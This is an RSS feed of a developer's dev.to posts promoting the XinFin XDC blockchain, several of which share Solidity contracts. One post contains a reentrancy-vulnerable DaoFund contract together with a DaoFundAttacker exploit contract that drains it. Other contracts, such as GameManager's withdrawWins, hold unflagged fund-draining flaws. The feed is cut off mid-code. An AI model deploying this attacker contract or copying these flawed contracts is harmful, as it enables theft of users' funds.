<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: MahaLakshmi Perumal</title>
    <description>The latest articles on DEV Community by MahaLakshmi Perumal (@mahalakshmiper7).</description>
    <link>https://dev.to/mahalakshmiper7</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F485397%2F0b40a19a-fc2b-40b3-b130-fc20e5d953b5.jpg</url>
      <title>DEV Community: MahaLakshmi Perumal</title>
      <link>https://dev.to/mahalakshmiper7</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/mahalakshmiper7"/>
    <language>en</language>
    <item>
      <title>Staking on TradeFinex: A Smart Way of using XDC</title>
      <dc:creator>MahaLakshmi Perumal</dc:creator>
      <pubDate>Sat, 05 Dec 2020 04:43:18 +0000</pubDate>
      <link>https://dev.to/mahalakshmiper7/staking-on-tradefinex-a-smart-way-of-using-xdc-5fnk</link>
      <guid>https://dev.to/mahalakshmiper7/staking-on-tradefinex-a-smart-way-of-using-xdc-5fnk</guid>
      <description>&lt;p&gt;The distinguishing marks of TradeFinex is that it coherently and deterministically links events on the #blockchain to those in the real world, thus ensuring a heightened reliability and stability vector. &lt;br&gt;
Staking on #TradeFinex: A Smart Way of Using $XDC: &lt;a href="https://thecurrencyanalytics.com/21967/staking-on-tradefinex-a-smart-way-of-using-xdc"&gt;https://thecurrencyanalytics.com/21967/staking-on-tradefinex-a-smart-way-of-using-xdc&lt;/a&gt;&lt;/p&gt;

</description>
      <category>blockchain</category>
      <category>xinfin</category>
      <category>xdc</category>
    </item>
    <item>
      <title>Build your Dapps on XinFin Network.</title>
      <dc:creator>MahaLakshmi Perumal</dc:creator>
      <pubDate>Fri, 04 Dec 2020 09:58:48 +0000</pubDate>
      <link>https://dev.to/mahalakshmiper7/build-your-dapps-on-xinfin-network-88l</link>
      <guid>https://dev.to/mahalakshmiper7/build-your-dapps-on-xinfin-network-88l</guid>
      <description>&lt;p&gt;XinFin is friendly to mother earth as well as well as people sending, receiving and storing value on the platform. This can be attributed to Proof of Stake (PoS) mining.&lt;br&gt;
Read: &lt;a href="https://medium.com/@social_75814/xinfin-xdc-the-green-coin-on-the-hybrid-blockchain-that-is-poised-to-disrupt-green-energy-and-62ea1b69ed57"&gt;https://medium.com/@social_75814/xinfin-xdc-the-green-coin-on-the-hybrid-blockchain-that-is-poised-to-disrupt-green-energy-and-62ea1b69ed57&lt;/a&gt;&lt;/p&gt;

</description>
      <category>blockchain</category>
      <category>xdc</category>
      <category>xinfin</category>
    </item>
    <item>
      <title>The Environmental Impact: Cryptocurrency Mining</title>
      <dc:creator>MahaLakshmi Perumal</dc:creator>
      <pubDate>Thu, 03 Dec 2020 06:14:33 +0000</pubDate>
      <link>https://dev.to/mahalakshmiper7/the-environmental-impact-cryptocurrency-mining-4pc5</link>
      <guid>https://dev.to/mahalakshmiper7/the-environmental-impact-cryptocurrency-mining-4pc5</guid>
      <description>&lt;p&gt;Both #crypto and #blockchain offer promising use cases to finance, supply chain, internet security, cloud storage, and a number of other sectors. &lt;br&gt;
The Environmental Impact: Cryptocurrency Mining vs. XDPoS Consensus: &lt;a href="https://vinn9686.medium.com/the-environmental-impact-cryptocurrency-mining-vs-xdpos-consensus-dbbad22fde04"&gt;https://vinn9686.medium.com/the-environmental-impact-cryptocurrency-mining-vs-xdpos-consensus-dbbad22fde04&lt;/a&gt;&lt;/p&gt;

</description>
      <category>blockchain</category>
    </item>
    <item>
      <title>Deployed a smartcontract on The fastest growing Network XinFin.</title>
      <dc:creator>MahaLakshmi Perumal</dc:creator>
      <pubDate>Wed, 02 Dec 2020 07:30:33 +0000</pubDate>
      <link>https://dev.to/mahalakshmiper7/deployed-a-smartcontract-on-the-fastest-growing-network-xinfin-22hm</link>
      <guid>https://dev.to/mahalakshmiper7/deployed-a-smartcontract-on-the-fastest-growing-network-xinfin-22hm</guid>
      <description>&lt;p&gt;Deployed a #smartcontract on XinFin XDC Network, which is growing faster in all aspects of community building, Adoption, utilities. The highlights of the network are: 1) 2 TPS, 2)Green Coin, 3)Hybrid environment, 4)usecases&lt;/p&gt;

&lt;p&gt;Here's my today's deployed Code: &lt;br&gt;
&lt;code&gt;pragma solidity ^0.4.18;&lt;br&gt;
contract DaoFund{&lt;br&gt;
   mapping(address=&amp;gt;uint) balanceOf;&lt;br&gt;
   event WithdrawBalance(string message,uint gas);&lt;br&gt;
   function getUserBalance(address user) external view returns(uint) {&lt;br&gt;
     return balanceOf[user];&lt;br&gt;
   }&lt;br&gt;
   function addToBalance() external payable {&lt;br&gt;
     balanceOf[msg.sender] = balanceOf[msg.sender] + msg.value;&lt;br&gt;
   }&lt;br&gt;
   function withdrawBalance() external {&lt;br&gt;
     uint amountToWithdraw = balanceOf[msg.sender];&lt;br&gt;
    WithdrawBalance("withdrawBalance",msg.gas);&lt;br&gt;
     if (msg.sender.call.value(amountToWithdraw)() == false) {&lt;br&gt;
         revert();&lt;br&gt;
     }&lt;br&gt;
     balanceOf[msg.sender] = 0;&lt;br&gt;
   }&lt;br&gt;
}&lt;br&gt;
contract DaoFundAttacker{&lt;br&gt;
   address fundAddress;&lt;br&gt;
   int goalAmount;&lt;br&gt;
   event WithdrawBalance(string message,uint gas);&lt;br&gt;
   function  DaoFundAttacker(address _fundAddress) public {&lt;br&gt;
       fundAddress=_fundAddress;&lt;br&gt;
   }&lt;br&gt;
   function() public payable {&lt;br&gt;
       goalAmount -= int(msg.value);&lt;br&gt;
       if( goalAmount &amp;gt; 0 )&lt;br&gt;
       {&lt;br&gt;
      if(fundAddress.call(bytes4(keccak256("withdrawBalance()")))) {&lt;br&gt;
               WithdrawBalance("Succeeded in fallback",msg.gas);&lt;br&gt;
           }&lt;br&gt;
           else WithdrawBalance("Failed in fallback",msg.gas);&lt;br&gt;
       }&lt;br&gt;
       else {&lt;br&gt;
           WithdrawBalance("All the goal amount withdraweAll the goal amount withdrawed.",msg.gas);&lt;br&gt;
       }&lt;br&gt;
   }&lt;br&gt;
   function  deposit() public payable {&lt;br&gt;
        if(fundAddress.call.value(msg.value).gas(20764)(bytes4(keccak256("addToBalance()"))) ==false) {&lt;br&gt;
               revert();&lt;br&gt;
        }&lt;br&gt;
   }&lt;br&gt;
   function  withdraw(uint _goalAmount) public {&lt;br&gt;
       goalAmount = int(_goalAmount * 1 ether);  if(fundAddress.call(bytes4(keccak256("withdrawBalance()")))==false ) {&lt;br&gt;
               WithdrawBalance("Failed in withdraw",msg.gas);&lt;br&gt;
               revert();&lt;br&gt;
        }&lt;br&gt;
        else WithdrawBalance("Succeeded in withdraw",msg.gas);&lt;br&gt;
   }&lt;br&gt;
}&lt;/code&gt;&lt;/p&gt;

</description>
      <category>blockchain</category>
      <category>xinfin</category>
      <category>xdc</category>
    </item>
    <item>
      <title>GameManager SmartContract deployed on XinFin XDC Network.</title>
      <dc:creator>MahaLakshmi Perumal</dc:creator>
      <pubDate>Tue, 01 Dec 2020 04:43:50 +0000</pubDate>
      <link>https://dev.to/mahalakshmiper7/gamemanager-smartcontract-deployed-on-xinfin-xdc-network-11km</link>
      <guid>https://dev.to/mahalakshmiper7/gamemanager-smartcontract-deployed-on-xinfin-xdc-network-11km</guid>
      <description>&lt;p&gt;Deployed #solidity #smartcontract for gamemanager on the energy saving and cost efficient XinFin XDC Hybrid Blockchain Network. &lt;/p&gt;

&lt;p&gt;Use the code: &lt;br&gt;
&lt;code&gt;pragma solidity ^0.4.18;&lt;br&gt;
contract GameManager {&lt;br&gt;
    modifier onlyOwner {&lt;br&gt;
        require(msg.sender == owner);&lt;br&gt;
        _;&lt;br&gt;
    }&lt;br&gt;
    modifier onlyServer {&lt;br&gt;
        require(msg.sender == server);&lt;br&gt;
        _;&lt;br&gt;
    }&lt;br&gt;
    event GameJoined(uint indexed rounds, address indexed user, uint playerPos);&lt;br&gt;
    event GameStarted(uint indexed rounds, address byWhom, uint numPlayers, uint timestamp);&lt;br&gt;
    event GameFinalized(uint indexed rounds, address user, uint numPlayers);&lt;br&gt;
    event Voted(uint indexed rounds, address user, bytes32 currStateHash, bytes32 newStateHash, uint currPlayer, uint numVoted);&lt;br&gt;
    event ServerNeeded();&lt;br&gt;
    uint public currPlayerIndex;&lt;br&gt;
    mapping (uint =&amp;gt; address) public userPosition;&lt;br&gt;
    mapping (address =&amp;gt; bool) public usersInGame;&lt;br&gt;
    mapping (address =&amp;gt; uint) public balances;&lt;br&gt;
    mapping (address =&amp;gt; bool) public hasVoted;&lt;br&gt;
    address public owner;&lt;br&gt;
    bytes32 public currStateHash;&lt;br&gt;
    uint public numStateVerified;&lt;br&gt;
    bool public gameInProgress;&lt;br&gt;
    bool public callTheServer;&lt;br&gt;
    bool public playersVoted;&lt;br&gt;
    uint public creationTime;&lt;br&gt;
    address public server;&lt;br&gt;
    uint public submitStateStartTime;&lt;br&gt;
    uint public numGamesPlayed;&lt;br&gt;
    uint public rounds;&lt;br&gt;
    uint VOTE_PERIOD = 5 minutes;&lt;br&gt;
    uint32 ONE_PLAY = 1000;&lt;br&gt;
    uint FEE = 200;&lt;br&gt;
    uint MIN_PLAYERS = 5;&lt;br&gt;
    uint MAX_PLAYERS = 25;&lt;br&gt;
    uint PRICE_TO_ENTER = 10 ** 15;&lt;br&gt;
    function GameManager() public {&lt;br&gt;
        owner = msg.sender;&lt;br&gt;
        gameInProgress = false;&lt;br&gt;
        playersVoted = false;&lt;br&gt;
        callTheServer = false;&lt;br&gt;
        numStateVerified = 0;&lt;br&gt;
        creationTime = now;&lt;br&gt;
        currPlayerIndex = 0;&lt;br&gt;
        rounds = 0;&lt;br&gt;
    }&lt;br&gt;
    function joinGame() public payable {&lt;br&gt;
        require(msg.value &amp;gt;= PRICE_TO_ENTER);&lt;br&gt;
         // A user can't enter a game while the game is ongoing&lt;br&gt;
        require(gameInProgress == false);&lt;br&gt;
        // A user can't enter a game twice with the same address&lt;br&gt;
        require(usersInGame[msg.sender] == false);&lt;br&gt;
            // We can't have more than 25 players?&lt;br&gt;
        require(currPlayerIndex &amp;lt;= 25);&lt;br&gt;
                // remember which position in the array did the player get&lt;br&gt;
        userPosition[currPlayerIndex] = msg.sender;&lt;br&gt;
        usersInGame[msg.sender] = true;&lt;br&gt;
        // Update the current position in the array&lt;br&gt;
        currPlayerIndex++;&lt;br&gt;
        // trigger game start if we reached the required num. of players&lt;br&gt;
        if (currPlayerIndex &amp;gt;= MIN_PLAYERS) {&lt;br&gt;
            gameInProgress = true;&lt;br&gt;
            GameStarted(rounds, msg.sender, currPlayerIndex, now);&lt;br&gt;
        }&lt;br&gt;
                GameJoined(rounds, msg.sender, currPlayerIndex); &lt;br&gt;
    }&lt;br&gt;
    // What happens if some of the players don't vote??&lt;br&gt;
    function gameEnds(uint32[] state, uint position) public {&lt;br&gt;
        // The msg.sender is sending us the position where he is&lt;br&gt;
        require(userPosition[position] == msg.sender);&lt;br&gt;
        // The person who votes, must be one of the players&lt;br&gt;
        require(usersInGame[msg.sender] == true);&lt;br&gt;
        // TODO: figure out how to reset this check on game end&lt;br&gt;
        // A player can vote only once&lt;br&gt;
        //require(hasVoted[msg.sender] == false);&lt;br&gt;
                bytes32 stateHash = keccak256(state);&lt;br&gt;
        Voted(rounds, msg.sender, currStateHash, stateHash, currPlayerIndex, numStateVerified);&lt;br&gt;
                // we remove the user from game, so he can join in the next one&lt;br&gt;
        usersInGame[msg.sender] = false;&lt;br&gt;
                if (currStateHash == 0x0) {&lt;br&gt;
            currStateHash = stateHash;&lt;br&gt;
            submitStateStartTime = now;&lt;br&gt;
            numStateVerified++;&lt;br&gt;
            return;&lt;br&gt;
        } &lt;br&gt;
                if (currStateHash == stateHash) {&lt;br&gt;
                        numStateVerified++;&lt;br&gt;
            hasVoted[msg.sender] = true;&lt;br&gt;
            // The last one&lt;br&gt;
            if (numStateVerified &amp;gt;= currPlayerIndex) {&lt;br&gt;
                playersVoted = true;&lt;br&gt;
                submitState(state);&lt;br&gt;
            }&lt;br&gt;
        } else {&lt;br&gt;
            // Bad stuff somone is cheating, server will punish the cheater and give the money to the poor&lt;br&gt;
            callTheServer = true;&lt;br&gt;
            ServerNeeded();&lt;br&gt;
        }&lt;br&gt;
    }&lt;br&gt;
    // Call this if after n blocks not all players have voted&lt;br&gt;
    // This will be callabale by anyone and we'll reward the player for the call&lt;br&gt;
    function finalizeGame(uint32[] state) public {&lt;br&gt;
        require(now &amp;gt;= (submitStateStartTime + VOTE_PERIOD));&lt;br&gt;
                // TODO: check for rounding error &amp;amp;&amp;amp; possible attacks&lt;br&gt;
        // If majority of the verified has votes take that as true&lt;br&gt;
        if (numStateVerified &amp;gt; (currPlayerIndex / 2)) {&lt;br&gt;
                        bytes32 stateHash = keccak256(state);&lt;br&gt;
                        // A user gave a wrong score &lt;br&gt;
            if(stateHash != currStateHash) {&lt;br&gt;
                return;&lt;br&gt;
            }&lt;br&gt;
                        submitState(state);&lt;br&gt;
                        // reward the player for calling this function&lt;br&gt;
            // gameToken.transfer(msg.sender, REWARD_FOR_FINALIZE);&lt;br&gt;
                    } else {&lt;br&gt;
            // who you gonna call when a cheater appears?&lt;br&gt;
            callTheServer = true;&lt;br&gt;
            ServerNeeded();&lt;br&gt;
        }&lt;br&gt;
    }&lt;br&gt;
        // Somebody tried the cheat the server will punish the bad &lt;br&gt;
    // and reward the good&lt;br&gt;
    function judgment(uint32[] state) public onlyServer {&lt;br&gt;
        require(callTheServer == true);&lt;br&gt;
                submitState(state);&lt;br&gt;
       }&lt;br&gt;
    function submitState(uint32[] state) internal {&lt;br&gt;
        require(playersVoted == true);&lt;br&gt;
                for(uint i = 0; i &amp;lt; currPlayerIndex; ++i) {&lt;br&gt;
            balances[userPosition[i]] += state[i];&lt;br&gt;
            usersInGame[userPosition[i]] = false;&lt;br&gt;
        }&lt;br&gt;
                numGamesPlayed++;&lt;br&gt;
                GameFinalized(rounds, msg.sender, currPlayerIndex);&lt;br&gt;
        newGameSession();&lt;br&gt;
    }&lt;br&gt;
    function withdrawWins() public {&lt;br&gt;
        require(balances[msg.sender] &amp;gt; 0);&lt;br&gt;
        msg.sender.transfer(balances[msg.sender]);&lt;br&gt;
    }&lt;br&gt;
        function newGameSession() internal {&lt;br&gt;
        gameInProgress = false;&lt;br&gt;
        playersVoted = false;&lt;br&gt;
        callTheServer = false;&lt;br&gt;
        numStateVerified = 0;&lt;br&gt;
        currPlayerIndex = 0;&lt;br&gt;
        currStateHash = 0x0;&lt;br&gt;
        rounds++;&lt;br&gt;
            }&lt;br&gt;
    function setServer(address _server) public onlyOwner {&lt;br&gt;
        server = _server;&lt;br&gt;
    }&lt;/code&gt;&lt;/p&gt;

</description>
      <category>blockchain</category>
      <category>gamedev</category>
      <category>xinfin</category>
    </item>
    <item>
      <title>Stalk datastruct smartcontract deployed on XinFin Network.</title>
      <dc:creator>MahaLakshmi Perumal</dc:creator>
      <pubDate>Mon, 30 Nov 2020 09:22:56 +0000</pubDate>
      <link>https://dev.to/mahalakshmiper7/stalk-datastruct-smartcontract-deployed-on-xinfin-network-34dp</link>
      <guid>https://dev.to/mahalakshmiper7/stalk-datastruct-smartcontract-deployed-on-xinfin-network-34dp</guid>
      <description>&lt;p&gt;Lots of #smartcontracts available around but datastructure has special importance as it is used widely. Today I have deployed a stalk datastructure #smartcontract on XinFin #XDC Network under injected web3 environment. &lt;/p&gt;

&lt;p&gt;Check my code: &lt;br&gt;
&lt;code&gt;pragma solidity ^0.4.11;&lt;br&gt;
contract Stack {&lt;br&gt;
    event Popped(bytes32 top, uint number, string name);&lt;br&gt;
    event Pushed(bytes32 top, uint number, string name);&lt;br&gt;
    uint public height = 0;&lt;br&gt;
    bytes32 public top;&lt;br&gt;
    struct Object {&lt;br&gt;
        bytes32 next;&lt;br&gt;
        uint number;&lt;br&gt;
        string name;&lt;br&gt;
    }&lt;br&gt;
    mapping(bytes32 =&amp;gt; Object) public objects;&lt;br&gt;
    function Stack() public {&lt;br&gt;
    }&lt;br&gt;
    function push(uint _number,string _name) public returns (bool) {&lt;br&gt;
        Object memory newObj = Object(top, _number, _name);&lt;br&gt;
        bytes32 id = keccak256(newObj.number, newObj.name, now, height);&lt;br&gt;
        objects[id] = newObj;&lt;br&gt;
        top = id;&lt;br&gt;
        height = height + 1;&lt;br&gt;
        Pushed(top, newObj.number, newObj.name);&lt;br&gt;
    }&lt;br&gt;
    function pop() public returns (bool) {&lt;br&gt;
        require(height &amp;gt; 0);&lt;br&gt;
        bytes32 _top = top;&lt;br&gt;
        top = objects[top].next;&lt;br&gt;
        Popped(top, objects[_top].number, objects[_top].name);&lt;br&gt;
        delete objects[_top];&lt;br&gt;
    }&lt;br&gt;
}&lt;/code&gt;&lt;/p&gt;

</description>
      <category>blockchain</category>
      <category>xinfin</category>
      <category>xdc</category>
      <category>database</category>
    </item>
    <item>
      <title>Shorten your link with my #Smartcontract.</title>
      <dc:creator>MahaLakshmi Perumal</dc:creator>
      <pubDate>Sat, 28 Nov 2020 08:02:00 +0000</pubDate>
      <link>https://dev.to/mahalakshmiper7/shorten-your-link-with-my-smartcontract-im5</link>
      <guid>https://dev.to/mahalakshmiper7/shorten-your-link-with-my-smartcontract-im5</guid>
      <description>&lt;p&gt;Shorten the link #smartcontract has been deployed on #XinFin Network and the transaction fees to deploy this smartcontract was 0.00007 XDC. Let me know the transaction fees for deploying the same smartcontract on your #Network.&lt;/p&gt;

&lt;p&gt;Here the #smartcontract:&lt;br&gt;
&lt;code&gt;pragma solidity ^0.4.24;&lt;br&gt;
contract e0x {&lt;br&gt;
 event LinkVisited(string url, uint linkId);&lt;br&gt;
 event LinkAdded(uint linkId, string url);&lt;br&gt;
 struct LinkTemplate {&lt;br&gt;
  address userAddress;&lt;br&gt;
  string url;&lt;br&gt;
 }&lt;br&gt;
 uint lastLinkId;&lt;br&gt;
 mapping (uint =&amp;gt; LinkTemplate) public linkMapping;&lt;br&gt;
 constructor() public {&lt;br&gt;
  lastLinkId = 0;&lt;br&gt;
 }&lt;br&gt;
 function createNewLink(string url) public returns (uint) {&lt;br&gt;
     lastLinkId++;&lt;br&gt;
  linkMapping[lastLinkId] = LinkTemplate(msg.sender, url);&lt;br&gt;
  emit LinkAdded(lastLinkId, url);&lt;br&gt;
  return lastLinkId;&lt;br&gt;
 }&lt;br&gt;
 modifier linkExists(uint linkId) {&lt;br&gt;
     //link with the given hash does not exist&lt;br&gt;
  if(linkMapping[linkId].userAddress == 0x0000000000000000000000000000000000000000) {&lt;br&gt;
   revert();&lt;br&gt;
  }&lt;br&gt;
  _;&lt;br&gt;
 }&lt;br&gt;
 function getLink(uint linkId) linkExists(linkId) public constant&lt;br&gt;
  returns(&lt;br&gt;
   address,&lt;br&gt;
   string&lt;br&gt;
  ) {&lt;br&gt;
      //emit LinkVisited(linkId, link.url);&lt;br&gt;
      LinkTemplate memory link = linkMapping[linkId];&lt;br&gt;
   return(&lt;br&gt;
      link.userAddress,&lt;br&gt;
      link.url&lt;br&gt;
   );&lt;br&gt;
  }&lt;br&gt;
}&lt;/code&gt;&lt;/p&gt;

</description>
      <category>blockchain</category>
      <category>xinfin</category>
      <category>xdc</category>
    </item>
    <item>
      <title>Apply for Blockdegree Scholarship.</title>
      <dc:creator>MahaLakshmi Perumal</dc:creator>
      <pubDate>Fri, 27 Nov 2020 14:02:11 +0000</pubDate>
      <link>https://dev.to/mahalakshmiper7/apply-for-blockdegree-scholarship-1n5g</link>
      <guid>https://dev.to/mahalakshmiper7/apply-for-blockdegree-scholarship-1n5g</guid>
      <description>&lt;p&gt;Students or Blockchain enthusiast interested to learn blockchain can utilize this opportunity by applying for scholarships on Blockdegree. Learning is a never ending process, get started and lets build interesting #DApps together.&lt;br&gt;
Apply here: &lt;a href="https://docs.google.com/forms/d/1Fp_BfX8suyo1-HbceFCkiIeHFcJw3ffSeiI72oVj-hA"&gt;https://docs.google.com/forms/d/1Fp_BfX8suyo1-HbceFCkiIeHFcJw3ffSeiI72oVj-hA&lt;/a&gt;&lt;/p&gt;

</description>
      <category>blockchain</category>
      <category>xinfin</category>
      <category>xdc</category>
    </item>
    <item>
      <title>XinFin is growing more popular in Blockchain.</title>
      <dc:creator>MahaLakshmi Perumal</dc:creator>
      <pubDate>Thu, 26 Nov 2020 07:31:45 +0000</pubDate>
      <link>https://dev.to/mahalakshmiper7/xinfin-is-growing-more-popular-in-blockchain-1hj1</link>
      <guid>https://dev.to/mahalakshmiper7/xinfin-is-growing-more-popular-in-blockchain-1hj1</guid>
      <description>&lt;p&gt;The developers are spending time on #smartcontracts and analysing the #XinFin #XDC Network.&lt;br&gt;
I can give you a short vision of the network.&lt;br&gt;
Transaction Speed: 2000TPS&lt;br&gt;
Block Time: 2seconds&lt;br&gt;
Transaction Fees: 0.000007 usd&lt;br&gt;
Check my latest #smartcontract: &lt;br&gt;
`pragma solidity ^0.4.24;&lt;br&gt;
pragma experimental ABIEncoderV2;&lt;br&gt;
interface Itontine{&lt;br&gt;
    function join() external payable returns(bool);&lt;br&gt;
    function ping() external returns (bool);&lt;br&gt;
    function eliminate(address a) external  returns(bool);&lt;br&gt;
    function claimReward() external returns (bool);&lt;br&gt;
    event NewActivePlayerEv(address _address ,uint time);&lt;br&gt;
    event eliminatedPlayerEv(address _addrss);&lt;br&gt;
}&lt;br&gt;
 contract Cplayer{&lt;br&gt;
    address public admin;&lt;br&gt;
    constructor() public {&lt;br&gt;
        admin=msg.sender;&lt;br&gt;
    }&lt;br&gt;
     struct player{&lt;br&gt;
        string name;&lt;br&gt;
        uint PhoneNumber;&lt;br&gt;
        address Paddress;&lt;br&gt;
        uint id;&lt;br&gt;
     }&lt;br&gt;
    mapping(address=&amp;gt;player) public players;&lt;br&gt;
    function AddPlayer(string _name, uint256 _phonenumber) public returns (bool){&lt;br&gt;
     players[msg.sender].name=_name;&lt;br&gt;
     players[msg.sender].Paddress=msg.sender;&lt;br&gt;
     players[msg.sender].PhoneNumber=_phonenumber;&lt;br&gt;
     return true;&lt;br&gt;
        }&lt;br&gt;
      modifier onlyadmin(){&lt;br&gt;
        require (msg.sender==admin);&lt;br&gt;
        _;&lt;br&gt;
    }&lt;br&gt;
    function RemovePlayer(address _address) public onlyadmin returns (bool) {&lt;br&gt;
        delete players[_address];&lt;br&gt;
        return true;&lt;br&gt;
    }&lt;br&gt;
    function EditPlayer(string _name, uint256 _phonenumber, address _address,uint256 _id) public returns (bool){&lt;br&gt;
        players[msg.sender].name=_name;&lt;br&gt;
        players[msg.sender].PhoneNumber=_phonenumber;&lt;br&gt;
        players[msg.sender].Paddress =_address;&lt;br&gt;
        players[msg.sender].id =_id;&lt;br&gt;
        return true;&lt;br&gt;
    }&lt;br&gt;
  function EditPlayer(address _address,uint256 _id)public returns (bool){&lt;br&gt;
        players[_address].id =_id;&lt;br&gt;
        return true;&lt;br&gt;
    }&lt;br&gt;
    function findplayer(address _address) public view returns (string,uint,address){&lt;br&gt;
        return ( players[_address].name, players[_address].PhoneNumber, players[_address].Paddress);&lt;br&gt;
    }&lt;br&gt;
    function exist(address _address) public view returns (bool){&lt;br&gt;
             return  (players[_address].Paddress!=0x00);&lt;br&gt;
    }&lt;br&gt;
    function getplayer(address _adress) public view  returns (player){&lt;br&gt;
        return players[_adress];&lt;br&gt;
    }&lt;br&gt;
 }&lt;br&gt;
/*********************************************&lt;br&gt;
&lt;em&gt;Ctontine Contract&lt;br&gt;
*&lt;br&gt;
*&lt;/em&gt;**************************************&lt;strong&gt;&lt;em&gt;/&lt;br&gt;
contract Ctontine is Itontine {&lt;br&gt;
    mapping (address =&amp;gt; uint256 ) public Tpension; // You can store structs as the values of your mapping, not as key.&lt;br&gt;
    Cplayer.player[] public active_players;&lt;br&gt;
    Cplayer.player[] public eliminated_players;&lt;br&gt;
    mapping(address=&amp;gt;uint) public ping_time;&lt;br&gt;
    uint256 public Lindex;&lt;br&gt;
    Cplayer  Tplayer;&lt;br&gt;
     constructor(address _CplayerAddress) public {&lt;br&gt;
         Tplayer= Cplayer(_CplayerAddress);&lt;br&gt;
    }&lt;br&gt;
     function join() public payable returns(bool){&lt;br&gt;
        require(Tplayer.exist(msg.sender),"player doesn't exist");&lt;br&gt;
        require(msg.value&amp;gt;=1 ether &amp;amp;&amp;amp; Tpension[msg.sender]==0,"send higher pension");&lt;br&gt;
        Tpension[msg.sender]=msg.value;&lt;br&gt;
        Tplayer.EditPlayer(msg.sender,active_players.length);&lt;br&gt;
        active_players.push(Tplayer.getplayer(msg.sender));&lt;br&gt;
        Lindex +=(active_players.length-1);&lt;br&gt;
        ping_time[msg.sender]=now;&lt;br&gt;
        emit NewActivePlayerEv(msg.sender,now);&lt;br&gt;
        return true;&lt;br&gt;
    }&lt;br&gt;
    function ping() external  returns(bool) {&lt;br&gt;
    ping_time[msg.sender]=now;&lt;br&gt;
    return true;&lt;br&gt;
    }&lt;br&gt;
    function eliminate(address PlayerAddress) external  returns(bool){&lt;br&gt;
      require(now&amp;gt; ping_time[PlayerAddress] +1 days );&lt;br&gt;
      delete Tpension[PlayerAddress];&lt;br&gt;
      delete active_players[Tplayer.getplayer(PlayerAddress).id];&lt;br&gt;
      Lindex -= Tplayer.getplayer(PlayerAddress).id;&lt;br&gt;
      eliminated_players.push(Tplayer.getplayer(PlayerAddress));&lt;br&gt;
      Tplayer.EditPlayer(msg.sender,0);&lt;br&gt;
      share_pension(PlayerAddress);&lt;br&gt;
      emit eliminatedPlayerEv(PlayerAddress);&lt;br&gt;
      return true;&lt;br&gt;
  }&lt;br&gt;
  function share_pension(address user)internal returns (bool){&lt;br&gt;
    uint256 remainingPlayers=remaining_players();&lt;br&gt;
    for(uint i=0; i&amp;lt; active_players.length;i++){&lt;br&gt;
        if (active_players[i].Paddress!=0x00)&lt;br&gt;
   Tpension[active_players[i].Paddress]=calcul(Tpension[user],remainingPlayers,18);&lt;br&gt;
        }&lt;br&gt;
            return true;&lt;br&gt;
  }&lt;br&gt;
  function calcul(uint a, uint b, uint precision) public pure returns ( uint) {&lt;br&gt;
   require (b!=0);&lt;br&gt;
     return a&lt;/em&gt;(10&lt;/strong&gt;(precision))/b;&lt;br&gt;
 }&lt;br&gt;
  function remaining_players() public view returns (uint256){&lt;br&gt;
    return (active_players.length-eliminated_players.length);&lt;br&gt;
  }&lt;br&gt;
function claimReward() external returns (bool){&lt;br&gt;
            require(remaining_players()==1);            active_players[Lindex].Paddress.transfer(address(this).balance);&lt;br&gt;
            return true;&lt;br&gt;
}&lt;br&gt;
}&lt;/p&gt;

</description>
      <category>blockchain</category>
      <category>xinfin</category>
      <category>xdc</category>
    </item>
    <item>
      <title>Deployed a Powerball smartcontract on XinFin XDC Network.</title>
      <dc:creator>MahaLakshmi Perumal</dc:creator>
      <pubDate>Wed, 25 Nov 2020 13:04:21 +0000</pubDate>
      <link>https://dev.to/mahalakshmiper7/deployed-a-powerball-smartcontract-on-xinfin-xdc-network-5b4m</link>
      <guid>https://dev.to/mahalakshmiper7/deployed-a-powerball-smartcontract-on-xinfin-xdc-network-5b4m</guid>
      <description>&lt;p&gt;Deployed a powerball smartcontract on XinFin Network token by paying 0.0000007 usd transaction fees. &lt;/p&gt;

&lt;p&gt;here my today's code: &lt;br&gt;
&lt;code&gt;pragma solidity ^0.4.18;&lt;br&gt;
/// @title Powerball contract&lt;br&gt;
contract Powerball {&lt;br&gt;
    struct Round {&lt;br&gt;
        uint endTime;&lt;br&gt;
        uint drawBlock;&lt;br&gt;
        uint[6] winningNumbers;&lt;br&gt;
        mapping(address =&amp;gt; uint[6][]) tickets;&lt;br&gt;
    }&lt;br&gt;
    uint public constant TICKET_PRICE = 2e15;&lt;br&gt;
    uint public constant MAX_NUMBER = 69;&lt;br&gt;
    uint public constant MAX_POWERBALL_NUMBER = 26;&lt;br&gt;
    uint public constant ROUND_LENGTH = 3 days;&lt;br&gt;
    uint public round;&lt;br&gt;
    mapping(uint =&amp;gt; Round) public rounds;&lt;br&gt;
    //constructor Powerball () public {&lt;br&gt;
    //    round = 1;&lt;br&gt;
    //    rounds[round].endTime = now + ROUND_LENGTH;&lt;br&gt;
    //}&lt;br&gt;
    function buy (uint[6][] numbers) payable public {&lt;br&gt;
        require(numbers.length * TICKET_PRICE == msg.value);&lt;br&gt;
        for (uint i=0; i &amp;lt; numbers.length; i++) {&lt;br&gt;
            for (uint j=0; j &amp;lt; 6; j++)&lt;br&gt;
                require(numbers[i][j] &amp;gt; 0);&lt;br&gt;
            for (j=0; j &amp;lt; 5; j++)&lt;br&gt;
                require(numbers[i][j] &amp;lt;= MAX_NUMBER);&lt;br&gt;
            require(numbers[i][5] &amp;lt;= MAX_POWERBALL_NUMBER);&lt;br&gt;
        }&lt;br&gt;
        // check for round expiry&lt;br&gt;
        if (now &amp;gt; rounds[round].endTime) {&lt;br&gt;
            rounds[round].drawBlock = block.number + 5;&lt;br&gt;
            round += 1;&lt;br&gt;
            rounds[round].endTime = now + ROUND_LENGTH;&lt;br&gt;
        }&lt;br&gt;
        for (i=0; i &amp;lt; numbers.length; i++)&lt;br&gt;
            rounds[round].tickets[msg.sender].push(numbers[i]);&lt;br&gt;
    }&lt;br&gt;
    function drawNumbers (uint _round) public {&lt;br&gt;
        uint drawBlock = rounds[_round].drawBlock;&lt;br&gt;
        require(now &amp;gt; rounds[_round].endTime);&lt;br&gt;
        require(block.number &amp;gt;= drawBlock);&lt;br&gt;
        require(rounds[_round].winningNumbers[0] == 0);&lt;br&gt;
